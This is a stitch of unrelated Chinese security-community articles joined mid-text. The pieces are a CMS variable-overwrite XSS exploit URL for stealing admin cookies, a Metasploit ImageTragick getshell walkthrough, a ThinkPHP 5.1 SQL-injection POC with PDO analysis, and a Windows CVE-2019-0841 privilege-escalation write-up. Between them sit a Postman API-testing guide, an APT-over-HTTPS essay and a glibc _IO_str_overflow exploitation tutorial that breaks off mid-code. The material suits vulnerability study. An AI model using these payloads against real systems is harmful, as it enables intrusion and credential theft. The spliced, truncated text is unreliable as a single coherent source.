此处变量可以实现变量覆盖。
因此可以覆盖$url_array变量，EXP为：
`http://127.0.0.1/***info/admin/login/login_check.php?url_array[]=123&url_array[]=123&url_array[]=aa%22+autofocus+onfocus=alert(2)+a=%0a%0ba=&url_array[]=123`
其中authcode 为其加解密算法。 管理员正常登录后，该值会被取出并解密
app/system/include/class/common.class.php
最终直接输出在
app/system/safe/admin/templates/index.php
最终，无需登录，访问上述链接可以在后台直接X。当管理登录后台时，切换到“安全与效率”界面，XSS可自动触发，通过此即可盗取管理员Cookie。
### 5.利用
综上对以上过程作一个回顾，由最后的变量覆盖即可通过盗取后台管理员cookie获得后台权限，再利用文件操作存在的逻辑与过滤不严问题即可任意文件删除、上传甚至getshell。 | 社区文章 |
**如何利用burp+metasploit快速检测 &利用**
**ImageTragick(CVE-2016–3714)**
From ChaMd5安全团队核心成员 **小meet**
ImageMagick是用来处理图片的通用组件，涉及PHP,JAVA,Python,Perl和Ruby等流行语言，16年4月被发现存在RCE，攻击者只需上传构造好的图片即可获取服务器权限。（延伸阅读-->ImageMagic执行过程、漏洞分析及修复<http://www.freebuf.com/vuls/104048.html）>
对这个漏洞的传统检测方式是生成payload通过第三方网站查看DNS解析记录的方式，耗时又不方便，这里介绍一个快速检测利用的方法。
首先需要一个burp插件叫burp-image-size
<https://github.com/silentsignal/burp-image-size/releases/download/v0.3/burp-image-size-v0.3-java1.6.jar>
安装时注意运行环境。
上传图片时抓包选择send toactive scan，即可调用插件对上传点进行扫描。漏洞存在则飚红显示高危漏洞。如图所示成功检测。
接下来利用metasploit getshell
useexploits/unix/fileformat/imagemagick_delegate
show options 查看一下选项
我这里选择默认的配置，接下来执行
exploit -j 生成了一个msf.png
将图片上传，就可以返回一个会话连接
使用sessions -i 1 与会话进行交互
参考链接：
<http://www.freebuf.com/vuls/104048.html>
<http://www.mottoin.com/89312.html>
<https://www.rapid7.com/db/modules/exploit/unix/fileformat/imagemagick_delegate> | 社区文章 |
## Thinkphp5
ThinkPHP，是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。
最早诞生于2006年初，2007年元旦正式更名为ThinkPHP，并且遵循Apache2[开源协议](https://baike.baidu.com/item/%E5%BC%80%E6%BA%90%E5%8D%8F%E8%AE%AE/10642383)发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。并且拥有众多原创功能和特性，在社区团队的积极参与下，在易用性、扩展性和性能方面不断优化和改进。
某些版本的Thinkphp存在一些漏洞，比如Thinkphp 5.1.(16-22) sql注入漏洞
POC
http://********/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
### 漏洞描述
在ThinkPHP 5.1.23之前的版本中存在SQL注入漏洞，该漏洞是由于程序在处理order by
后的参数时，未正确过滤处理数组的key值所造成。如果该参数用户可控，且当传递的数据为数组时，会导致漏洞的产生。（CVE-2018-16385)
## 一点思考
这个漏洞虽然是sql注入，但是比较鸡肋。。。
为什么这么讲呢？我们测试一下，就会发现报错注入的时候，我们只能爆出类似于user()、database()这类最基础的信息，而不能进行子查询，获取不到更加关键的信息。
这样的原因是用参数化查询PDO，将参数与查询语句分离，进而降低了漏洞风险。
### PDO分析
下面将会针对thinkphp 5.1.17框架的PDO进行分析。
#### PDO介绍
我们可以把它看作是想要运行的 SQL 的一种编译过的模板，它可以使用变量参数进行定制。预处理语句可以带来两大好处：
* 查询仅需解析（或预处理）一次，但可以用相同或不同的参数执行多次。当查询准备好后，数据库将分析、编译和优化执行该查询的计划。对于复杂的查询，此过程要花费较长的时间，如果需要以不同参数多次重复相同的查询，那么该过程将大大降低应用程序的速度。通过使用预处理语句，可以避免重复分析/编译/优化周期。简而言之，预处理语句占用更少的资源，因而运行得更快。
* 提供给预处理语句的参数不需要用引号括起来，驱动程序会自动处理。如果应用程序只使用预处理语句，可以确保不会发生SQL 注入。（然而，如果查询的其他部分是由未转义的输入来构建的，则仍存在 SQL 注入的风险）。
预处理语句如此有用，以至于它们唯一的特性是在驱动程序不支持 PDO
将模拟处理。这样可以确保不管数据库是否具有这样的功能，都可以确保应用程序可以用相同的数据访问模式。
如果还不理解的话，我们可以看看PDO预编译执行过程
1. prepare($SQL) 编译SQL语句
2. bindValue(`$param`,`$value`) 将value绑定到param的位置上
<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);
// 插入一行
$name = 'one';
$value = 1;
$stmt->execute();
// 用不同的值插入另一行
$name = 'two';
$value = 2;
$stmt->execute();
?>
3. execute() 执行
<?php
$stmt = $dbh->prepare("CALL sp_returns_string(?)");
$stmt->bindParam(1, $return_value, PDO::PARAM_STR, 4000);
// 调用存储过程
$stmt->execute();
print "procedure returned $return_value\n";
?>
#### 报错原因
预编译SQL语句的时候发生错误，从而产生报错
当 prepare() 时，查询语句已经发送给了数据库服务器，此时只有占位符 `?`发送过去，没有用户提交的数据；当调用到
execute()时，用户提交过来的值才会传送给数据库，他们是分开传送的，所以理论上确保不会发生SQL注入。
这个漏洞实际上就是控制了第二步的`$param`变量，这个变量如果是一个SQL语句的话，那么在第二步的时候是会抛出错误使得报错（单纯的语句报错）既然如此我们实际上报错利用点在哪里呢？
实际上，在预编译的时候，也就是第一步即可利用
<?php
$params = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];
$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM users WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
var_dump($e);
}
执行发现，虽然只调用prepare()，但原SQL语句中的报错已经成功执行：
是因为这里设置了`PDO::ATTR_EMULATE_PREPARES => false`。
这个选项涉及到PDO的“预处理”机制：因为不是所有数据库驱动都支持SQL预编译，所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理，那么PDO内部会模拟参数绑定的过程，SQL语句是在最后execute()的时候才发送给数据库执行；如果我这里设置了`PDO::ATTR_EMULATE_PREPARES
=> false`，那么PDO不会模拟预处理，参数化绑定的整个过程都是和Mysql交互进行的。
非模拟预处理的情况下，参数化绑定过程分两步：第一步是prepare阶段，发送带有占位符的sql语句到mysql服务器`（parsing->resolution）`，第二步是多次发送占位符参数给mysql服务器进行执行（多次执行`optimization->execution`）。
这时，假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了，那么就会直接由mysql那边抛出异常，不会再执行第二步。
而在thinkphp 5.1.17中的默认配置
// PDO连接参数
protected $params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::ATTR_EMULATE_PREPARES => false,
];
但是，在这个POC中
/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
如果你将user()改成一个子查询语句，那么结果又会爆出`Invalid parameter number: parameter was not
defined`的错误。应该是预编译在mysql服务端进行的，但是预编译的过程是不接触数据的
，也就是说不会从表中将真实数据取出来，所以使用子查询的情况下不会触发报错；虽然预编译的过程不接触数据，但user()数据库函数的值还是将会编译进SQL语句，所以这里执行并爆了出来。
### 修改子查询语句
如果我们把user()改成一个子查询语句呢？
<?php
$params = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];
$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM `users` WHERE `id` IN (:where_id_in_0,updatexml(0,concat(0xa,(select username from users limit 1)),0)) ');
} catch (\PDOException $e) {
var_dump($e);
}
虽然我们使用了updatexml函数，但是他可能不接触数据：预编译的确是mysql服务端进行的，但是预编译的过程是不接触数据的
，也就是说不会从表中将真实数据取出来，所以使用子查询的情况下不会触发报错；虽然预编译的过程不接触数据，但类似user()这样的数据库函数的值还是将会编译进SQL语句，所以这里执行并爆了出来。
#### 把updatexml函数去掉
<?php
$params = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];
$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM users WHERE id IN (:where_id_in_0)union(select~1,2)');
var_dump($link);
$link->bindValue(':where_id_in_0)union(select~1,2)','1','1');
} catch (\PDOException $e) {
var_dump($e);
}
这样就会报`Invalid parameter number: parameter was not defined`
在上面绑定的变量中，让：符号后面的字符串中不出现空格。但是在PDO的prepare()编译sql语句这个过程中，pdo已经把`(:)`内的内容认为时PDO绑定的变量，所以在第二步`bindValue()`步骤中，才会报错`parameter
was not defined`
也就说这两步数据不匹配，导致无法正常执行第三步查询我们想要得字段
## 总结
Thinkphp5
框架采用的PDO机制可以说从根本上已经解决了一大堆SQL方面的安全问题，但过多的信任导致这里是在参数绑定的过程中产生了注入，不过采用的PDO机制也可以说是将危害降到了最小。 | 社区文章 |
该漏洞允许低权限的用户通过覆写目标文件的权限来劫持属于`NT
AUTHORITY\SYSTEM`的文件。成功利用就可以使低权限的用户获得对目标文件的完全控制权限。
所有的Windows APP都有一个`settings.dat`文件用来记录APP的注册表设置。该文件是一个可以在注册表中加载和修改的注册表文件。
如果用户启动一个Windows APP比如Microsoft Edge，就可以访问`NT
AUTHORITY\SYSTEM`的`settings.dat`文件，并以低权限用户访问该文件。问题是如何滥用该特权文件访问呢？
# 漏洞
首先看一下Microsoft Edge的`settings.dat`文件。
所有的Windows APPs用户配置文件都保存在当前用户的APPDATA文件夹：
`C:\Users\<username>\AppData\Local\Packages\<Packagename>`
Windows 10有一些安装的默认APP
每个package都有一个`settings.dat`文件，是`NT AUTHORITY\SYSTEM`来写入配置变化的。
Windows App启动后，系统会使用`OpLock`操作来预防其他进程在APP运行时使用或访问该文件。
在本例中，启动Microsoft Edge后，`settings.dat`文件会以`NT AUTHORITY\SYSTEM`打开，如下图所示：
打开后，会看到执行一些基本的完整性检查：
1. 检查文件权限
* 如果文件权限不准确，修正文件权限
2. 读取文件内容
* 如果文件内容被破坏，就删除该文件
* 从中中复制设置模板文件来重设配置
3. 在新复制的文件上获取Exclusive Lock
4. 启动Windows APP
该过程如下图所示：
前面也提到在读取文件内容后在`SetSecurityFile`操作过程中会首先设置正确的文件权限，在本例中内容并不与正确的`settings.dat`文件对应。之后，删除该文件，复制设置模板文件然后启动Windows
APP。
绝大多数这些操作都是通过`impersonating`当前用户权限来执行的，这会防止滥用这些操作：
因此可以利用这一行为来对任意文件通过硬链接来设置文件权限。
# 漏洞利用
下面的漏洞利用过程是基于知识：设置硬链接的文件权限会改变原始文件的权限。
下面劫持位于`C:\Windows\System32\drivers\etc\hosts`的`HOSTS`文件。普通用户是没有该文件的修改访问权限的。
研究人员开发了漏洞利用可以自动创建硬链接并触发该漏洞，成功利用的结果如下图所示：
1. 漏洞利用首先检查目标文件是否存在，如果存在就检查其权限。研究人员使用Microsoft Edge来进行漏洞利用，它会杀掉Microsoft Edge的进程来获取`settings.dat`文件的访问权限。
2. Microsoft Edge被杀后，会检查`setting.dat`文件并删除该文件以创建到请求的目标文件的硬链接。
3. 硬链接创建后再次启动Microsoft Edge以触发漏洞。然后检查确认是否为当前用户设置完全控制权限。
研究人员同时指出一些漏洞利用所必须的条件：
* `NT AUTHORITY\SYSTEM`应该有对目标文件的完全控制权限；
* 低权限的用户或用户组应该有读写权限；
* 读和执行权限应该可以继承。
# PoC
PoC代码见：<https://github.com/rogue-kdc/CVE-2019-0841>
**Video PoC**
www.youtube.com/embed/vP468ZjJ3hU
POC视频证明了使用DLL和注入恶意代码来利用Chrome Update Service来进行权限提升，这也是完整利用该漏洞的过程。
<https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/> | 社区文章 |
# 摘要
API代表应用程序编程接口。
API是用于构建应用程序软件的一组子程序定义，协议和工具。一般来说，这是一套明确定义的各种软件组件之间的通信方法。
API测试——测试API集合，检查它们的功能、性能、安全性，以及是否返回正确的响应。
API测试用于确定输出是否结构良好，是否对另一个应用程序有用，根据输入(请求)参数检查响应，并检查API检索和授权数据所花费的时间。
Postman是一个通过向Web服务器发送请求并获取响应来测试API的应用程序。
# Postman安装
可以从以下URL下载Postman Native App：
<https://www.getpostman.com/apps>
或者你可以在Google
Chrome网上商店添加扩展程序，<https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?hl=en>
Postman非常容易上手，它提供API调用的集合，我们必须按照规范来测试应用程序的API。
可以从给定的下拉列表中选择API调用方法，根据API调用设置授权、标头、正文等信息。
可在Postman中使用的API调用方法：
根据API调用的标头：
根据API调用的正文信息：
然后，您可以通过单击Send按钮来执行API调用。
# Postman中的环境变量
可以根据需要从右上角设置环境变量。可以通过以下步骤轻松设置环境变量：
1.单击“设置管理环境”(右上角的图标)。
2.单击“添加”按钮。
3.写下环境的名称。
4.填充键&值，以后可用作集合中的变量。
# 添加集合
您可以将每个API调用添加到集合中并创建一个集合，该集合可供应用程序重用。
一个人可以导入别人的集合，也可以导出他们的集合，这样其他人也可以在他们的电脑上使用这个集合。
在API调用中，我主要使用了两种方法：
1. **HTTP请求** \- 请求是进行HTTP调用的最简单的方式。
HTTP请求包含请求方法、请求URL、请求标头、请求主体、预请求脚本和测试（Request Method, Request URL, Request
Headers, Request Body, Pre-request Script and Tests）。
请求方法（Request Method）-Request Methods定义要发出的请求类型。Postman中提供的请求方法如下所示：
有以下四种方法：
POST请求：创建或更新数据
PUT请求：更新数据
GET请求：用于检索/获取数据。
DELETE请求：用于删除数据
请求URL: 发出Http请求的位置
请求标头 - 在请求标头中它包含应用程序的键值。我主要使用了以下两个键值：
Content-Type - 内容类型描述对象数据的格式。内容类型，我在请求和响应中使用最多的是application/json。
Authorization - 请求中包含的授权令牌用于标识请求者。
请求主体（RequestBody）- 它包含要随请求一起发送的数据(取决于请求方法的类型)。我使用原始形式的数据发送请求。示例如下：
预请求脚本 - 预请求脚本是在发送请求之前执行的一段代码。
示例：为了在请求中使用PostmanBDD(本文后面将对此进行解释)，需要在预请求脚本中定义以下代码。
Postman的测试:在Postman中，可以使用JavaScript语言为每个请求编写和运行测试。以下是示例：
测试描述示例：
测试结果示例：
2. **HTTP响应** ——在发送请求时，API发送响应，包括正文，Cookie，标头，测试，状态代码和API响应时间。
Postman在不同的选项卡中组织正文和标题。完成API调用所花费的时间的状态代码显示在另一个选项卡中。
有许多状态代码，我们可以从这些代码验证响应。
200 - 成功请求。
201 - 成功请求并创建了数据。
204 - 空响应。
400 - 对于错误请求。请求无法理解或缺少任何必需参数。
401 - 对于未经授权的访问。身份验证失败或用户没有所请求操作的权限。
403 - 被禁止，访问被拒绝。
404 - 未找到数据。
405 - 不支持方法或不允许请求方法。
500 - 内部服务器错误。
503 - 服务不可用。
# Postman中的测试脚本
有了Postman，就可以使用JavaScript语言为每个请求编写和运行测试。收到响应后，将在“测试”选项卡下添加代码并执行。
tests[“Status code is 200”] = responseCode.code ===200;
将检查收到的响应代码是否为200。
您可以对一个请求进行任意多个测试。大多数测试都是简单的，只有一条线性JavaScript语句。下面是更多的例子。
检查响应主体是否包含字符串：
tests["Body matches string"] = responseBody.has("string_you_want_to_search");
检查响应主体是否等于特定字符串：
tests["Body is correct"] = responseBody === "response_body_string";
检查JSON值：
var data = JSON.parse(responseBody);
tests["Your test name"] = data.value === 100;
检查响应时间是否小于200毫秒：
tests["Response time is less than 200ms"] = responseTime < 200;
检查成功的POST请求状态代码：
tests["Successful POST request"] = responseCode.code === 201 || responseCode.code === 202;
检查响应标头类型：
tests[‘The Content-Type is JSON’] = postman.getResponseHeader(‘Content-Type’) === ‘application/json’;
# Postman BDD
Postman BDD允许使用BDD语法来构造测试，使用Fluent CHAI-JS语法来编写断言。因此，上面的测试用例可以如下所示：
检查响应标题类型：
it(‘should return JSON’, () => {
response.should.be.json;
response.should.have.header(‘Content-Type’, ‘application/json’);
response.type.should.equal(‘application/json’);
});
检查状态代码为200：
it(‘should be a 200 response’, () => {
response.should.have.status(200); });
检查响应时间是否小于200毫秒：
it(‘should respond in a timely manner’, () => {
response.time.should.be.below(200);
});
检查响应正文消息应为“用户成功登录”：
it(‘message should contain’, () => {
response.body.message.should.equal(‘User logged in successfully.’) ;
});
# Postman BDD的优点和缺点
简单的语法。
它具有简单的语法，使测试更易于编写和读取。
错误处理。
如果脚本中出现错误，则只有一个测试失败，而其他测试仍在运行，并显示错误。
丰富的断言。
它提供了对所有CHAI-JS和CHAI-HTTP断言以及API的一些自定义断言的完全访问权限。断言更容易记住和可读，例如自定义断言response.body.shand.be.a.user。
JSON模式验证。
用户可以使用Assertion作为response.body.should.have.schema(someJsonSchema)再次验证特定的JSON模式的响应
# 安装Postman BDD
安装Postman BDD有两个简单步骤：
1.下载
使用以下URL在Postman中创建GET请求：
<http://bigstickcarpet.com/postman-bdd/dist/postman-bdd.min.js>
2.安装
用户必须在按上述方式创建的请求中的“测试”选项卡中添加以下代码：
postman.setGlobalVariable('postmanBDD', responseBody);
然后，在全局安装Postman BDD。您可以在任何Postman请求中使用它：
eval(globals.postmanBDD);
# 总结
Postman对API测试非常有用，它会使您的任务变得更加简单高效。
链接：<https://medium.com/aubergine-solutions/api-testing-using-postman-323670c89f6d> | 社区文章 |
**原文：[Why does APT not use HTTPS?](https://whydoesaptnotusehttps.com/)**
**作者：Chris Lamb**
**译者：Nanako@知道创宇404实验室**
（这篇文章代表了一段时间前，特别是在CVE-2019-3462之前的情形。它并不代表我的个人意见，也不代表Debian / Ubuntu。）
## tl;dr
https用于防止入侵者窃听到您与您访问的网站之间的通信，以及避免在您不知情的情况下修改数据。
然而，通过APT命令获取的文件往往都有自己的签名以通过系统的检查。
您的计算机根据一组已存储的可信密钥检查这些签名。如果缺少有效签名或者密钥不可信[1]，则APT会拒绝下载该文件。这样可以确保您安装的软件来自您的授权，并且未被修改或替换。
如果下载服务器的磁盘上软件包发生了恶意篡改，https是无法检测出来的。因此也没有必要“安全的”传输一个受损的软件包。
## 隐私
https通常不会为获取数据包提供重要的私密性。由于窃听者通常可以看到您正在通信连接的主机，如果您正与发布镜像的网络进行连接，则很明显您在进行下载更新。
此外，即使通信是经过加密的，也不难根据传输大小确定要下载的文件[2]。因此，https只适用于从那些提供类似的，或大小相同的包的服务器上进行下载。
其实更应该关注的问题并不是加密，而是确保您正在安装的文件未被修改过。
## 过度信任CA
有超过400个“证书颁发机构”可以为任何域颁发证书，其中很多证书机构没有有效的安全记录，还有一些明确被政府控制[3]。
这意味着https对于发布镜像网络上的攻击目标提供了微乎其微的保护，甚至没有任何保护。您可以限制APT可以接收的有效证书集合，但这容易产生错误，对现有的公钥方案来说某些额外的麻烦是不值得的。
## 为什么不提供HTTPS呢？
您所用的发行版可以使用现有方案对文件进行加密签名，另外还可以通过https为文件提供“深度防御”。
然而，通过SSL提供一个巨大的全球镜像网络不仅是一项复杂的工程任务（需要私钥的安全交换和存储）。如上所述，它意味着会对最终用户的安全性和隐私级别产生误导性。
切换到https还意味着您无法利用本地代理服务器来加快访问速度，而且还将禁止多种类型的P2P
镜像，其中文件存储在不受您分发控制的服务器上。这将对远程区域的用户产生不同程度的影响。
## 重放攻击
简单签名机制存在的问题是，它不能保证您看到的是最新版本的存档。
这可能会导致重放攻击，攻击者将存档替换为较早的未经修改的版本，阻止APT注意到那些会被利用的安全更新。
为了解决这个问题，APT存档包含一个时间戳，在此时间戳之后的所有文件都被认作是旧文件[4]。
## 更多信息
在[SecureAPT wiki](https://wiki.debian.org/SecureApt)页面上可以找到更多技术细节。
## 脚注
1. 显示发布：无法验证以下签名，因为公钥不可用。
2. 如果通过（假设）[apt-transport-tor](https://retout.co.uk/blog/2014/07/21/apt-transport-tor)使用Tor，甚至有可能出现这种情况。
3. 例如，请参阅在StackOverflow上的[我应该信任哪些受信任的root证书颁发机构](https://security.stackexchange.com/questions/53117/what-trusted-root-certification-authorities-should-i-trust)。
4. 请参阅Debian Wiki上`DebianRepository`页面的[Date，Valid-Until](https://wiki.debian.org/DebianRepository/Format#Date.2C_Valid-Until)部分。
* * * | 社区文章 |
# glibc 2.27 FILE Structure Exploitation (_IO_str_overflow)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、前置知识
用fopen打开一个文件，会在heap申请一块内存，并把指针放在栈上。
fopen 会返回一个FILE 结构体
struct _IO_FILE_plus
{
_IO_FILE file;
const struct
*vtable;
};
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;// fd number
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
简要分析下 fopen 的执行流程：
这里能看到，fopen调用的是`__fopen_internal`
_IO_FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
struct locked_FILE //自己定义了一个结构
{
struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct _IO_wide_data wd;
} *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
if (new_f == NULL)
return NULL;
#ifdef _IO_MTSAFE_IO
new_f->fp.file._lock = &new_f->lock;
#endif
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);//初始化
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
//给vtable 赋值 #define _IO_JUMPS(THIS) (THIS)->vtable
_IO_new_file_init_internal (&new_f->fp);// 这个就是把 当前的 _IO_FILE_plus fp 加入chain
#if !_IO_UNIFIED_JUMPTABLES
new_f->fp.vtable = NULL;
#endif
if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)//打开文件
return __fopen_maybe_mmap (&new_f->fp.file);
_IO_un_link (&new_f->fp);//失败就从链表上卸载下来
free (new_f);// free掉
return NULL;
}
_IO_no_init内就是一些初始化的操作
void
_IO_no_init (_IO_FILE *fp, int flags, int orientation,
struct _IO_wide_data *wd, const struct _IO_jump_t *jmp)
{
_IO_old_init (fp, flags);//初始化_IO_FILE的 下面树初始化 wide character streams
fp->_mode = orientation;
if (orientation >= 0)// orientation 这个是=0的
//_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
{
// wide_data 是 wide character streams 处理宽字节的
fp->_wide_data = wd;
fp->_wide_data->_IO_buf_base = NULL;
fp->_wide_data->_IO_buf_end = NULL;
fp->_wide_data->_IO_read_base = NULL;
fp->_wide_data->_IO_read_ptr = NULL;
fp->_wide_data->_IO_read_end = NULL;
fp->_wide_data->_IO_write_base = NULL;
fp->_wide_data->_IO_write_ptr = NULL;
fp->_wide_data->_IO_write_end = NULL;
fp->_wide_data->_IO_save_base = NULL;
fp->_wide_data->_IO_backup_base = NULL;
fp->_wide_data->_IO_save_end = NULL;
fp->_wide_data->_wide_vtable = jmp;
}
else
/* Cause predictable crash when a wide function is called on a byte
stream. */
fp->_wide_data = (struct _IO_wide_data *) -1L;
fp->_freeres_list = NULL;
}
void
_IO_old_init (_IO_FILE *fp, int flags)
{
fp->_flags = _IO_MAGIC|flags;
fp->_flags2 = 0;
if (stdio_needs_locking)
fp->_flags2 |= _IO_FLAGS2_NEED_LOCK;
fp->_IO_buf_base = NULL;
fp->_IO_buf_end = NULL;
fp->_IO_read_base = NULL;
fp->_IO_read_ptr = NULL;
fp->_IO_read_end = NULL;
fp->_IO_write_base = NULL;
fp->_IO_write_ptr = NULL;
fp->_IO_write_end = NULL;
fp->_chain = NULL; /* Not necessary. */
fp->_IO_save_base = NULL;
fp->_IO_backup_base = NULL;
fp->_IO_save_end = NULL;
fp->_markers = NULL;
fp->_cur_column = 0;
#if _IO_JUMPS_OFFSET
fp->_vtable_offset = 0;
#endif
#ifdef _IO_MTSAFE_IO
if (fp->_lock != NULL)
_IO_lock_init (*fp->_lock);
#endif
}
void
_IO_new_file_init_internal (struct _IO_FILE_plus *fp)
{
/* POSIX.1 allows another file handle to be used to change the position
of our file descriptor. Hence we actually don't know the actual
position before we do the first fseek (and until a following fflush). */
fp->file._offset = _IO_pos_BAD;
fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS;
_IO_link_in (fp);//加入链表
fp->file._fileno = -1;
}
_IO_list_all 内保存的是当前最新的FILE结构体，而FILE里面的`chain字段`保存的上一个FILE，fileno =
上一次fileno+1.fileno 分配过多，最后又会回到 0.
vtable就是一个好东西，里面全是函数，但不能随意修改，因为libc对这个有检测
## 2、_IO_str_overflow利用
先写出 _IO_str_overflow的利用链
close -> finish -> _IO_str_overflow ->(char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
总的来说就是调用_IO_str_overflow函数，也就是 vtable里面的overflow
先看看 `_IO_new_fclose`
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp); // 这里是关键 把finish 覆盖成_IO_str_overflow
if (fp->_mode > 0)
{
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
### 第一步先覆盖vtable
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;//检测
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
在每次调用的时候，会有一次检测，检测是否在`__libc_IO_vtables`内，这个范围很大，里面有很多种IO_x_jumps_x，这次选的是_IO_str_jumps
原本的vtable是指向 `__GI__IO_file_jumps`头，然后调用finish的时候是按照偏移来计算，如果这时候把vtable修改成
`_IO_str_jumps+8`那调用finish就会调用`overflow`
那vtable的修改就完成了，现在来看看`_IO_str_overflow`
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//目的
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
